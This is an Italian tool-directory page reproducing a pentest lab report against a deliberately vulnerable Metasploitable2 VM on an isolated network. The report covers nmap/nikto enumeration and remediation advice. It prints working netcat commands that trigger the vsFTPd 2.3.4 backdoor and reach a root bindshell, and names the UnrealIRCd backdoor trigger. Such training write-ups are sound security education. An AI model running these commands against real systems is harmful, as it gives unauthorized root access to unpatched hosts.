Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pentest-lab-metasploitable2 — Laboratorio di pentest in rete isolata: enumerazione con nmap/nikto ed exploitation manuale di Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con report tecnico completo. | Kitploit
Strumenti/GitHubGitHub/danreis20/pentest-lab-metasploitable2
RicognizioneScanner di Vulnerabilità WebMappatura della ReteAnalisi delle VulnerabilitàExploitCTFPenetration TestingPaper e RicercaApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Lab e Pratica
GitHubdanreis20/pentest-lab-metasploitable2

pentest-lab-metasploitable2

Laboratorio di pentest in rete isolata: enumerazione con nmap/nikto ed exploitation manuale di Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con report tecnico completo.

Vedi Repository
2425 giorni faNon ancora revisionato
Condividi

Laboratorio di Pentest in Rete Isolata

Autore: Daniel Stefan de Jesus dos Reis Data: Settembre/2026 Ambiente: Laboratorio personale KVM su rete virtuale isolata pentestlab

Avviso di Scopo e Autorizzazione

Questo test è stato eseguito esclusivamente contro una macchina virtuale propria e intenzionalmente vulnerabile, distribuita da Rapid7 specificamente per scopi di formazione in sicurezza offensiva, all'interno di una rete virtuale isolata senza uscita verso internet. Nessun sistema di terze parti è stato acceduto. Questo progetto ha finalità esclusivamente educativa, per lo sviluppo di competenze nei test di intrusione.

1. Architettura del Laboratorio

  • Hypervisor: KVM/libvirt
  • Rete virtuale: pentestlab (bridge virbr-lab), sottorete 192.168.100.0/24, senza <forward> configurato — ovvero, una rete isolata davvero: le VM comunicano tra loro e con l'host, ma non hanno rotta verso l'esterno del laboratorio. XML della rete in evidencias/pentestlab_network.xml.
  • Host attaccante: la macchina host stessa, con interfaccia virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap e netcat.
  • Target: VM metasploitable2 (Metasploitable2, Ubuntu 8.04 modificato), IP 192.168.100.90/24, assegnato via DHCP dalla rete isolata stessa.
[ Host / Atacante ]  
        |
   virbr-lab (rede isolada, sem saída para internet)
        |
[ metasploitable2 ] 

2. Metodologia

Ho seguito un flusso di base di ricognizione → enumerazione → sfruttamento → documentazione:

  1. Scoperta dell'host e scansione completa delle porte TCP con rilevamento di servizio/versione (nmap -sV -sC -p-)
  2. Scansione delle vulnerabilità web (nikto)
  3. Prioritizzazione delle vulnerabilità note (CVE) associate alle versioni identificate
  4. Sfruttamento manuale dove tutti i passaggi seguenti sono stati eseguiti con nc, per comprendere il meccanismo di ogni falla, non solo "eseguire l'exploit"
  5. Documentazione delle evidenze e raccomandazioni di correzione

3. Ricognizione — Scansione Completa

Comando: nmap -sV -sC -p- -T4 192.168.100.90 Output completo: evidencias/nmap_full_scan.txt

Riepilogo dei servizi più rilevanti trovati:

PortaServizioVersioneOsservazione
21/tcpFTPvsftpd 2.3.4Login anonimo consentito + backdoor nota
22/tcpSSHOpenSSH 4.7p1Obsoleto
23/tcpTelnetLinux telnetdProtocollo in chiaro
25/tcpSMTPPostfix—
80/tcpHTTPApache 2.2.8 + PHP 5.2.4phpMyAdmin e phpinfo.php esposti
139/445/tcpSMBSamba 3.0.20-DebianFirma dei messaggi disabilitata
1099/tcpJava RMIGNU Classpath grmiregistryStoricamente vulnerabile a RCE
1524/tcpbindshell—Shell di root già aperta, senza autenticazione
3306/tcpMySQL5.0.51a-3ubuntu5—
3632/tcpdistccdv1Storicamente vulnerabile a RCE (CVE-2004-2687)
5432/tcpPostgreSQL8.3.0–8.3.7—
5900/tcpVNCprotocollo 3.3—
6667/6697/tcpIRCUnrealIRCd 3.2.8.1Versione associata a backdoor nota
8180/tcpHTTPApache Tomcat 5.5—

4. Vulnerabilità Sfruttate (confermate)

4.1 Backdoor in vsFTPd 2.3.4 — CVE-2011-2523 (Critica)

Tra il 30/06/2011 e il 03/07/2011, il codice sorgente di vsFTPd 2.3.4 reso disponibile per il download è stato manomesso da un attaccante. La versione compromessa contiene una backdoor: al ricevere, nel campo utente del login FTP, una stringa terminante con :), il server apre una shell di root sulla porta TCP 6200, senza alcuna autenticazione.

Passaggi eseguiti (log completo in evidencias/vsftpd_backdoor_exploit.txt):

# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21

# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200

Risultato:

uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Accesso root completo ottenuto senza autenticazione.

4.2 Bindshell esposta sulla porta 1524/tcp (Critica)

nmap identifica già questo servizio come Metasploitable root shell — una backdoor lasciata intenzionalmente nell'immagine (residuo di un exploit precedente, comune nelle immagini di formazione). Non richiede sfruttamento: basta connettersi.

( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524

Risultato: uid=0(root) gid=0(root) groups=0(root) — root immediato.

Log completo in evidencias/bindshell_1524.txt.

5. Vulnerabilità Identificate (non sfruttate in questo ciclo)

5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (Critica, identificata per versione)

La versione di UnrealIRCd in esecuzione sulle porte 6667/6697 corrisponde a una build storicamente distribuita con una backdoor (comando AB; seguito da un comando di shell). Ho tentato di attivare la backdoor manualmente via nc, ma il server ha trattato l'input come un comando IRC non valido (451 :You have not registered) invece di eseguire il comando — o questa immagine specifica non contiene il binario trojanizzato, oppure il payload necessita di una messa a punto che non ho prioritizzato in questo ciclo. Registro questo come tentativo senza successo, non come vulnerabilità confermata.

5.2 distccd 3632/tcp — CVE-2004-2687 (Alta)

Servizio di compilazione distribuita che accetta comandi arbitrari da qualsiasi client che si connetta, senza autenticazione. Identificato per versione, non sfruttato in questo ciclo.

5.3 Java RMI Registry — porta 1099/tcp (Alta)

Storicamente vulnerabile a esecuzione remota di codice tramite deserializzazione. Identificato per versione, non sfruttato in questo ciclo.

6. Enumerazione Web (nikto)

Comando: nikto -h 192.168.100.90 -p 80 Output completo: evidencias/nikto_scan.txt

Principali risultati:

  • Apache 2.2.8 obsoleto (la serie attuale, all'epoca, era 2.2.22+)
  • Metodo HTTP TRACE attivo (potenziale XST)
  • /phpinfo.php esposto pubblicamente (rivela la configurazione di PHP)
  • /phpMyAdmin/ accessibile senza restrizione di IP
  • Listato delle directory abilitato in /doc/, /test/ e /icons/
  • Cookie di phpMyAdmin creato senza il flag httponly

7. Raccomandazioni di Correzione

RiscontroRaccomandazione
Backdoor vsFTPd 2.3.4Non usare mai binari da fonti non ufficiali/non verificate; validare hash/firma dei pacchetti prima di installare
Bindshell sulla porta 1524Verificare regolarmente le porte aperte (nmap interno periodico); qualsiasi shell non documentata è un incidente
distccd esposto senza autenticazioneLimitare a host fidati tramite firewall o disabilitare se non è in uso attivo per build distribuite
phpMyAdmin/phpinfo.php espostiLimitare l'accesso per IP/VPN, non esporre mai pubblicamente strumenti amministrativi
Apache/PHP obsoletiMantenere attivo un processo di patch management
Listato delle directory abilitatoDisabilitare Options Indexes in Apache
SMB con firma dei messaggi disabilitataAbilitare server signing = mandatory

8. Cosa ha dimostrato questo laboratorio nella pratica

Scarica lo strumento